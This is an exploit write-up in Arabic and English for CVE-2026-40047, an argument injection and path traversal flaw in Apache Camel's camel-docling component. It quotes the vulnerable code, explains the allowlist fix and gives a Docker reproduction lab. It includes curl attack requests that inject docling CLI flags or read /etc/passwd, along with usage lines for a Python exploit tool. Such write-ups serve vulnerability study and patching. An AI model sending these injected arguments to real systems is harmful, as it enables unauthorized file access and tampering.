Share
## https://sploitus.com/exploit?id=B5FF1D53-E8CD-5A60-9129-9E9D13162F43
# ─── CVE-2026-40047 ───








# 🏴 AMN SECURITY 🏴

### مركز أبحاث الأمن السيبراني | Cyber Security Research Center

[![Website](https://img.shields.io/badge/Website-amn.amnoffsec.workers.dev-00FF00?style=for-the-badge&logo=googlechrome&logoColor=white)](https://amn.amnoffsec.workers.dev/)
[![Instagram](https://img.shields.io/badge/Instagram-@ixctw-E4405F?style=for-the-badge&logo=instagram&logoColor=white)](https://www.instagram.com/ixctw)
[![Email](https://img.shields.io/badge/Email-ayman.mahmoudoffsec%40gmail.com-D14836?style=for-the-badge&logo=gmail&logoColor=white)](mailto:ayman.mahmoudoffsec@gmail.com)

---











# ⚠️ ثغرة حقن وسيطات الأوامر في Apache Camel Docling
### CVE-2026-40047 | CVSS 9.1 | حرجة جداً (CRITICAL)

---

### 📋 الملخص التنفيذي

ثغرة أمنية خطيرة من نوع **حقن وسيطات الأوامر (Argument Injection)** في مكون **camel-docling** الخاص بإطار عمل **Apache Camel**، تسمح لمهاجم بحقن وسيطات CLI غير مرغوب فيها وقيم مسارات متجاوزة (Path Traversal) إلى الأداة الخارجية `docling`.

تقع الثغرة في الصنف `DoclingProducer` حيث تقوم الدالة `addCustomArguments` بإلحاق قائمة الوسائط المخصصة `CamelDoclingCustomArguments` إلى أمر `docling` دون تحقق كافٍ. كان التحقق المعتمد على **قائمة محظورة (Denylist)** فقط مع فحص حرفي لـ `../`، مما يسمح بتجاوز الوسائط غير المعروفة والمسارات المطلقة.

| العنصر | التفاصيل |
|--------|----------|
| **CVE** | CVE-2026-40047 |
| **CVSS v3.1** | 9.1 (Critical) |
| **المتجه** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| **النوع** | Argument Injection (CWE-88) / Path Traversal (CWE-22) |
| **المنتج** | Apache Camel (camel-docling) |
| **الإصدارات المتأثرة** | من 4.15.0 إلى 4.18.2 |
| **الإصدار المُصحَّح** | 4.18.3 / 4.19.0 |
| **اكتُشِفت بواسطة** | Andrea Cosentino (Apache Software Foundation) |
| **التأثير** | حقن وسائط CLI غير مرغوب فيها وتجاوز المسارات |

---

### 🔍 تفاصيل الثغرة

Apache Camel هو إطار تكامل قوي يستخدم على نطاق واسع في المؤسسات لربط الأنظمة المختلفة. مكون `camel-docling` يقوم باستدعاء الأداة الخارجية `docling` (أداة تحويل المستندات) عبر `ProcessBuilder`.

#### آلية الثغرة

```java
// DoclingProducer.addCustomArguments() - الإصدار المتأثر
List customArgs = exchange.getIn().getHeader(
    DoclingHeaders.CUSTOM_ARGUMENTS, List.class);

if (customArgs != null && !customArgs.isEmpty()) {
    validateCustomArguments(customArgs);  // Denylist ضعيف + فحص ../ حرفي
    command.addAll(customArgs);           // ← الإضافة مباشرة بدون تدقيق كافٍ
}
```

#### المشكلة في validateCustomArguments

في الإصدارات المتأثرة، كانت `validateCustomArguments` تعتمد على:
1. **قائمة محظورة (Denylist)** من الأعلام الممنوعة
2. **فحص حرفي** `../` في قيم المسارات

هذا يسمح بـ:

- ✅ **أعلام غير معروفة**: أي علم ليس في القائمة المحظورة يمر مباشرة
- ✅ **تجاوز المسار بدون '../'**: المسارات المطلقة (`/etc/passwd`) تمر دون حظر
- ✅ **تسلسلات مسار طبيعية**: استخدام `Path.normalize()` لتجاوز الفحص

#### الإصلاح (CAMEL-23212)

الإصلاح يستبدل الـ Denylist بـ **قائمة مسموح بها (Allowlist)** صارمة:
- فقط الأعلام المعترف بها مسموح بها
- رفض الأعلام التي يديرها المنتج (`--output`, `-o`)
- رفض رموز shell الخاصة (دفاع في العمق)
- تطبيع المسارات عبر `Path.normalize()` قبل التحقق

---

### 💥 سيناريو الهجوم

```
[مهاجم] ── يتحكم في CamelDoclingCustomArguments
              │
              ▼
         مسار Camel مع docling:
              │
         from("direct:convert")
             .to("docling:convert?...");
              │
              ▼
         DoclingProducer يبني الأمر:
              │
         command = [docling, --to, md, --ocr-lang, en, 
                    --output, /tmp, /tmp/input.txt]
              │
         command.addAll(customArgs ← يتحكم بها المهاجم)
              │
              ▼
         docling --injected-by-attacker arbitrary-value --to md ...
```

#### أمثلة على الهجوم

```bash
# حقن وسيطة مخصصة
curl "http://target:8080/exploit/attack?flag=--artifacts-path&value=/etc/attacker-controlled"

# تجاوز المسار بمسار مطلق
curl "http://target:8080/exploit/attack?flag=--input&value=/etc/passwd"
```

---

### 🧪 استخدام بيئة إعادة الإنتاج

```bash
# 1. بناء المشروع
mvn clean package -DskipTests

# 2. تشغيل بيئة Docker
docker compose up -d --build

# 3. استدعاء عادي (بدون حقن)
curl http://localhost:8080/exploit/normal

# 4. حقن وسائط CLI
curl "http://localhost:8080/exploit/attack"

# 5. حقن مخصص
curl "http://localhost:8080/exploit/attack?flag=--artifacts-path&value=/etc/pwned"

# 6. عرض سجل الاستدعاءات
cat /tmp/docling-invocations.log
```

### 🐍 استخدام أداة Python PoC

```bash
# فحص الهدف
python3 CVE-2026-40047.py -t http://localhost:8080 --check

# استغلال كامل
python3 CVE-2026-40047.py -t http://localhost:8080 --exploit

# حقن وسيطة مخصصة
python3 CVE-2026-40047.py -t http://localhost:8080 --inject \
    --flag "--artifacts-path" --value "/etc/pwned"
```

#### الخيارات المتاحة

| الخيار | الوصف |
|--------|-------|
| `-t, --target` | رابط الهدف (مثل http://localhost:8080) |
| `--check` | فحص الثغرة فقط |
| `--exploit` | استغلال كامل (حقن افتراضي) |
| `--inject` | حقن وسيطة مخصصة |
| `--flag` | علم CLI للحقن |
| `--value` | قيمة العلم |
| `-v, --verbose` | إظهار تفاصيل إضافية |

---

### 🛡️ الإجراءات العلاجية

| الإجراء | الأولوية | الوصف |
|---------|----------|-------|
| **تحديث Apache Camel** | 🟢 فوري | الترقية إلى 4.18.3 أو 4.19.0 |
| **عدم تمرير بيانات غير موثوقة** | 🟡 مهم | عدم تمرير محتوى خارجي إلى `CamelDoclingCustomArguments` |
| **إزالة الرؤوس الداخلية** | 🟡 مهم | استخدام `removeHeaders("Camel*")` قبل الـ docling producer |
| **تدقيق التطبيقات** | 🔵 مستمر | مراجعة أي تطبيق يستخدم camel-docling |

#### إزالة الرؤوس الداخلية

```java
from("untrusted:source")
    .removeHeaders("Camel*")  // إزالة الرؤوس الداخلية
    .to("docling:convert?...");
```

---

### 🔗 المراجع

- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-40047
- **Apache Advisory**: https://camel.apache.org/security/CVE-2026-40047.html
- **JIRA**: CAMEL-23212
- **CWE-88**: https://cwe.mitre.org/data/definitions/88.html
- **CWE-22**: https://cwe.mitre.org/data/definitions/22.html

> ⚠️ **إخلاء مسؤولية**: هذا التقرير لأغراض تعليمية وبحثية فقط. استخدام هذه المعلومات لأغراض غير قانونية يتحمل المستخدم مسؤوليته بالكامل.

---

### 🔗 تواصل مع AMN SECURITY

[![Website](https://img.shields.io/badge/Website-amn.amnoffsec.workers.dev-00FF00?style=for-the-badge&logo=googlechrome&logoColor=white)](https://amn.amnoffsec.workers.dev/)
[![Instagram](https://img.shields.io/badge/Instagram-@ixctw-E4405F?style=for-the-badge&logo=instagram&logoColor=white)](https://www.instagram.com/ixctw)
[![Email](https://img.shields.io/badge/Email-ayman.mahmoudoffsec%40gmail.com-D14836?style=for-the-badge&logo=gmail&logoColor=white)](mailto:ayman.mahmoudoffsec@gmail.com)



---







# ⚠️ CVE-2026-40047 — Apache Camel Docling CLI Argument Injection

### CVSS 9.1 | CRITICAL | Argument Injection / Path Traversal

---

### Executive Summary

**CVE-2026-40047** is a critical **CLI argument injection and path traversal** vulnerability in Apache Camel's `camel-docling` component. The `DoclingProducer` builds the invocation of the external `docling` command-line tool from message headers, and custom arguments supplied through the `CamelDoclingCustomArguments` header were appended with insufficient validation (a denylist plus a literal `../` check), so an attacker who influences those headers can inject arbitrary `docling` CLI flags and traversal-bearing path values into the subprocess.

| Field | Value |
|-------|-------|
| **CVE** | CVE-2026-40047 |
| **CVSS v3.1** | 9.1 (Critical) |
| **Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| **Type** | Argument Injection (CWE-88) / Path Traversal (CWE-22) |
| **Product** | Apache Camel (camel-docling) |
| **Affected Versions** | 4.15.0 through 4.18.2 |
| **Fixed In** | 4.18.3 / 4.19.0 |

---

### Technical Details

The vulnerability exists in `DoclingProducer.addCustomArguments()` which appends the `CamelDoclingCustomArguments` header values to the `docling` CLI command without adequate validation.

```java
// Vulnerable code
List customArgs = exchange.getIn().getHeader(
    DoclingHeaders.CUSTOM_ARGUMENTS, List.class);
if (customArgs != null && !customArgs.isEmpty()) {
    validateCustomArguments(customArgs);  // Weak denylist
    command.addAll(customArgs);           // Directly appended!
}
```

The fix (CAMEL-23212) replaces the denylist with a strict allowlist.

### Exploitation

```bash
# Using the reproduction environment
mvn clean package -DskipTests
docker compose up -d --build

# Inject CLI arguments
curl "http://localhost:8080/exploit/attack"
curl "http://localhost:8080/exploit/attack?flag=--artifacts-path&value=/etc/pwned"
```

### Remediation

| Action | Priority | Description |
|--------|----------|-------------|
| **Update Camel** | 🔴 Immediate | Upgrade to 4.18.3 or 4.19.0 |
| **Sanitize Input** | 🟡 Important | Don't pass untrusted data to CamelDoclingCustomArguments |
| **Strip Headers** | 🟡 Important | Use `removeHeaders("Camel*")` before docling producer |

### References

- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-40047
- **Apache Advisory**: https://camel.apache.org/security/CVE-2026-40047.html
- **CWE-88**: Argument Injection
- **CWE-22**: Path Traversal

---

### Connect with AMN SECURITY

🌐 **Website**: https://amn.amnoffsec.workers.dev/
📸 **Instagram**: https://www.instagram.com/ixctw
📧 **Email**: ayman.mahmoudoffsec@gmail.com

---

> ⚠️ **Disclaimer**: This report is for educational and research purposes only. Unauthorized use of this information is illegal and the user bears full responsibility.